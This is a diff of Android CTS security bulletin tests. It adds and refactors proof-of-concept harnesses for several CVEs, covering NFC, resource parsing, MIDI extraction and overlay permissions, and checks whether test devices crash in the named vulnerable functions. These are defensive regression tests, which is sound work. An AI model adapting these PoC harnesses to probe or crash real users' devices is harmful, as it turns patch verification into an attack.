+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp
@@ -0,0 +1,65 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <androidfw/ApkAssets.h>
+
+#include <vector>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+using android::LoadedArsc;
+
+bool testInProgress = false;
+char enable_selective_overload = ENABLE_NONE;
+FILE *file = nullptr;
+
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit(EXIT_FAILURE);
+}
+
+void exitHandler(void) {
+ if (file) {
+ fclose(file);
+ file = nullptr;
+ }
+}
+
+int main(int argc, char **argv) {
+ atexit(exitHandler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+ FAIL_CHECK(argc >= 2);
+ file = fopen(argv[1], "r");
+ FAIL_CHECK(file);
+ fseek(file, 0, SEEK_END);
+ size_t size = ftell(file);
+ fseek(file, 0, SEEK_SET);
+ enable_selective_overload = ENABLE_ALL;
+ std::vector<uint8_t> buffer(size);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+ FAIL_CHECK(fread((void *)buffer.data(), 1, size, file) == size);
+ testInProgress = true;
+ LoadedArsc::Load(buffer.data(), size);
+ testInProgress = false;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
new file mode 100644
index 00000000000..b4bdd3c07f0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2021-39675",
+ compile_multilib: "64",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ ],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ include_dirs: [
+ "system/nfc/src/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
new file mode 100644
index 00000000000..78ebda8c62b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
@@ -0,0 +1,22 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "gki.h"
+
+int main() {
+ return (GKI_getbuf(USHRT_MAX) == nullptr) ? EXIT_SUCCESS : EXIT_VULNERABLE;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
index 4df0f6ffde8..0990cd448ec 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
@@ -17,20 +17,20 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0684 extends SecurityTestCase {
+public class CVE_2018_9410 extends SecurityTestCase {
/**
- * b/179839665
- * Vulnerability Behaviour: SIGSEGV in Self
+ * b/77822336
+ * Vulnerability Behaviour: SIGSEGV in self
*/
- @AsbSecurityTest(cveBugId = 179839665)
+ @AsbSecurityTest(cveBugId = 77822336)
@Test
- public void testPocCVE_2021_0684() throws Exception {
- AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0684", null, getDevice());
+ public void testPocCVE_2018_9410() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9410", null, getDevice());
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
index 31da488db56..810f92d7616 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
@@ -34,9 +34,10 @@ public class CVE_2018_9558 extends SecurityTestCase {
@AsbSecurityTest(cveBugId = 112161557)
public void testPocCVE_2018_9558() throws Exception {
AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
String binaryName = "CVE-2018-9558";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {CrashUtils.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
new file mode 100644
index 00000000000..181d660df48
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2012 extends SecurityTestCase {
+
+ /**
+ * b/120497437
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t3t_update_block (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 120497437)
+ @Test
+ public void testPocCVE_2019_2012() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2019-2012";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(
+ new BacktraceFilterPattern("libnfc-nci", "rw_t3t_update_block"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
new file mode 100644
index 00000000000..6689459f68a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.compatibility.common.util.CrashUtils;
+
+import java.util.Arrays;
+import java.util.ArrayList;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0034 extends SecurityTestCase {
+
+ /**
+ * b/62458770
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @AsbSecurityTest(cveBugId = 62458770)
+ @Test
+ public void testPocCVE_2020_0034() throws Exception {
+ pocPusher.only32();
+ String binaryName = "CVE-2020-0034";
+ String inputFiles[] = {"cve_2020_0034.ivf"};
+ String signals[] = {CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
index 9573b393bf6..2c39674c45f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -35,9 +35,10 @@ public class CVE_2020_0073 extends SecurityTestCase {
@AsbSecurityTest(cveBugId = 147309942)
public void testPocCVE_2020_0073() throws Exception {
AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
String binaryName = "CVE-2020-0073";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {CrashUtils.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
index 695d8dc74cd..12edb1af319 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
@@ -16,13 +16,19 @@
package android.security.cts;
+import static org.junit.Assume.assumeFalse;
+
import android.platform.test.annotations.AsbSecurityTest;
+
import org.junit.Test;
import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
-import static org.junit.Assume.*;
+import java.util.Arrays;
+import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2020_0381 extends SecurityTestCase {
@@ -31,13 +37,21 @@ public class CVE_2020_0381 extends SecurityTestCase {
* b/150159669
* Vulnerability Behaviour: SIGSEGV in self
*/
- @Test
@AsbSecurityTest(cveBugId = 150159669)
+ @Test
public void testPocCVE_2020_0381() throws Exception {
assumeFalse(moduleIsPlayManaged("com.google.android.media"));
+ String binaryName = "CVE-2020-0381";
String inputFiles[] = {"cve_2020_0381.xmf", "cve_2020_0381.info"};
- AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0381",
- AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
- inputFiles, AdbUtils.TMP_PATH, getDevice());
+ String signals[] = {CrashUtils.SIGSEGV};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_ptbl"));
+ testConfig.config.setSignals(signals);
+ testConfig.arguments =
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
index d2a4ca5486a..72765d64f1f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
@@ -16,11 +16,19 @@
package android.security.cts;
+import static org.junit.Assume.assumeFalse;
+
import android.platform.test.annotations.AsbSecurityTest;
+
import org.junit.Test;
import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assume.assumeFalse;
+
+import java.util.Arrays;
+import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2020_0383 extends SecurityTestCase {
@@ -29,14 +37,21 @@ public class CVE_2020_0383 extends SecurityTestCase {
* b/150160279
* Vulnerability Behaviour: SIGSEGV in self
*/
- @Test
@AsbSecurityTest(cveBugId = 150160279)
+ @Test
public void testPocCVE_2020_0383() throws Exception {
assumeFalse(moduleIsPlayManaged("com.google.android.media"));
- String inputFiles[] = {"cve_2020_0383.xmf", "cve_2020_0383.info"};
String binaryName = "CVE-2020-0383";
- AdbUtils.runPocAssertNoCrashesNotVulnerable(binaryName,
- AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
- inputFiles, AdbUtils.TMP_PATH, getDevice());
+ String inputFiles[] = {"cve_2020_0383.xmf", "cve_2020_0383.info"};
+ String signals[] = {CrashUtils.SIGSEGV};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_lins"));
+ testConfig.config.setSignals(signals);
+ testConfig.arguments =
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
index f89ec7dfb18..34c66ded007 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
@@ -16,13 +16,19 @@
package android.security.cts;
+import static org.junit.Assume.assumeFalse;
+
import android.platform.test.annotations.AsbSecurityTest;
+
import org.junit.Test;
import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
-import static org.junit.Assume.*;
+import java.util.Arrays;
+import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2020_0384 extends SecurityTestCase {
@@ -31,13 +37,22 @@ public class CVE_2020_0384 extends SecurityTestCase {
* b/150159906
* Vulnerability Behaviour: SIGSEGV in self
*/
- @Test
@AsbSecurityTest(cveBugId = 150159906)
+ @Test
public void testPocCVE_2020_0384() throws Exception {
assumeFalse(moduleIsPlayManaged("com.google.android.media"));
+ String binaryName = "CVE-2020-0384";
String inputFiles[] = {"cve_2020_0384.xmf", "cve_2020_0384.info"};
- AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0384",
- AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
- inputFiles, AdbUtils.TMP_PATH, getDevice());
+ String signals[] = {CrashUtils.SIGSEGV};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(
+ new BacktraceFilterPattern("libmidiextractor", "Convert_art"));
+ testConfig.config.setSignals(signals);
+ testConfig.arguments =
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
index 19109b8b4d8..0f9e7d27dae 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
@@ -16,13 +16,19 @@
package android.security.cts;
+import static org.junit.Assume.assumeFalse;
+
import android.platform.test.annotations.AsbSecurityTest;
+
import org.junit.Test;
import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
-import static org.junit.Assume.*;
+import java.util.Arrays;
+import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2020_0385 extends SecurityTestCase {
@@ -31,13 +37,21 @@ public class CVE_2020_0385 extends SecurityTestCase {
* b/150160041
* Vulnerability Behaviour: SIGSEGV in self
*/
- @Test
@AsbSecurityTest(cveBugId = 150160041)
+ @Test
public void testPocCVE_2020_0385() throws Exception {
assumeFalse(moduleIsPlayManaged("com.google.android.media"));
+ String binaryName = "CVE-2020-0385";
String inputFiles[] = {"cve_2020_0385.xmf", "cve_2020_0385.info"};
- AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0385",
- AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
- inputFiles, AdbUtils.TMP_PATH, getDevice());
+ String signals[] = {CrashUtils.SIGSEGV};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_lins"));
+ testConfig.config.setSignals(signals);
+ testConfig.arguments =
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
index af3503ce88d..e4878a048f0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
@@ -31,6 +31,8 @@ public class CVE_2021_0430 extends SecurityTestCase {
@Test
@AsbSecurityTest(cveBugId = 178725766)
public void testPocCVE_2021_0430() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0430", null, getDevice());
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
index db0a1b27cd2..77c9188d6b5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
@@ -1,4 +1,4 @@
-/**
+/*
* Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,85 +16,42 @@
package android.security.cts;
+import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-import org.junit.Test;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import org.junit.Assert;
+import org.junit.Before;
import org.junit.runner.RunWith;
-
-import static org.hamcrest.core.Is.is;
-import static org.junit.Assert.assertThat;
+import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0523 extends SecurityTestCase {
+public class CVE_2021_0523 extends BaseHostJUnit4Test {
+ private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-0523.apk";
- private static void extractInt(String str, int[] displaySize) {
- str = ((str.replaceAll("[^\\d]", " ")).trim()).replaceAll(" +", " ");
- if (str.equals("")) {
- return;
- }
- String s[] = str.split(" ");
- for (int i = 0; i < s.length; ++i) {
- displaySize[i] = Integer.parseInt(s[i]);
- }
+ @Before
+ public void setUp() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
}
/**
* b/174047492
*/
- @Test
+ @AppModeFull
@AsbSecurityTest(cveBugId = 174047492)
+ @Test
public void testPocCVE_2021_0523() throws Exception {
- final int SLEEP_INTERVAL_MILLISEC = 30 * 1000;
- String apkName = "CVE-2021-0523.apk";
- String appPath = AdbUtils.TMP_PATH + apkName;
- String packageName = "android.security.cts.cve_2021_0523";
- String crashPattern =
- "Device is vulnerable to b/174047492 hence any app with " +
- "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen";
- ITestDevice device = getDevice();
-
- try {
- /* Push the app to /data/local/tmp */
- pocPusher.appendBitness(false);
- pocPusher.pushFile(apkName, appPath);
-
- /* Wake up the screen */
- AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
-
- /* Install the application */
- AdbUtils.runCommandLine("pm install " + appPath, device);
-
- /* Grant "Draw over other apps" permission */
- AdbUtils.runCommandLine(
- "pm grant " + packageName + " android.permission.SYSTEM_ALERT_WINDOW", device);
-
- /* Start the application */
- AdbUtils.runCommandLine("am start -n " + packageName + "/.PocActivity", getDevice());
- Thread.sleep(SLEEP_INTERVAL_MILLISEC);
-
- /* Get screen width and height */
- int[] displaySize = new int[2];
- extractInt(AdbUtils.runCommandLine("wm size", device), displaySize);
- int width = displaySize[0];
- int height = displaySize[1];
-
- /* Give a tap command for center of screen */
- AdbUtils.runCommandLine("input tap " + width / 2 + " " + height / 2, device);
- } catch (Exception e) {
- e.printStackTrace();
- } finally {
- /* Un-install the app after the test */
- AdbUtils.runCommandLine("pm uninstall " + packageName, device);
-
- /* Detection of crash pattern in the logs */
- String logcat = AdbUtils.runCommandLine("logcat -d *:S AndroidRuntime:E", device);
- Pattern pattern = Pattern.compile(crashPattern, Pattern.MULTILINE);
- assertThat(crashPattern, pattern.matcher(logcat).find(), is(false));
- }
+ installPackage(TEST_APP);
+ AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+ getDevice());
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
new file mode 100644
index 00000000000..6d320f562d8
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0953 extends BaseHostJUnit4Test {
+
+ @AsbSecurityTest(cveBugId = 184046278)
+ @Test
+ public void testPocCVE_2021_0953() throws Exception {
+ final String TEST_PKG = "android.security.cts.CVE_2021_0953";
+ final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ final String TEST_APP = "CVE-2021-0953.apk";
+ ITestDevice device = getDevice();
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ installPackage(TEST_APP);
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testMutablePendingIntent");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
index a242904c0c2..4deab6614e8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
@@ -16,15 +16,17 @@
package android.security.cts;
-import static org.junit.Assert.assertFalse;
+
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2021_0965 extends BaseHostJUnit4Test {
@@ -45,10 +47,6 @@ public class CVE_2021_0965 extends BaseHostJUnit4Test {
@Test
public void testPocCVE_2021_0965() throws Exception {
installPackage(TEST_APP, new String[0]);
- runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission");
- String errorLog = "Vulnerable to b/194300867 !!";
- String logcat = AdbUtils.runCommandLine("logcat -d AndroidRuntime:E *:S", getDevice());
- Pattern pattern = Pattern.compile(errorLog, Pattern.MULTILINE);
- assertFalse(pattern.matcher(logcat).find());
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission"));
}
}
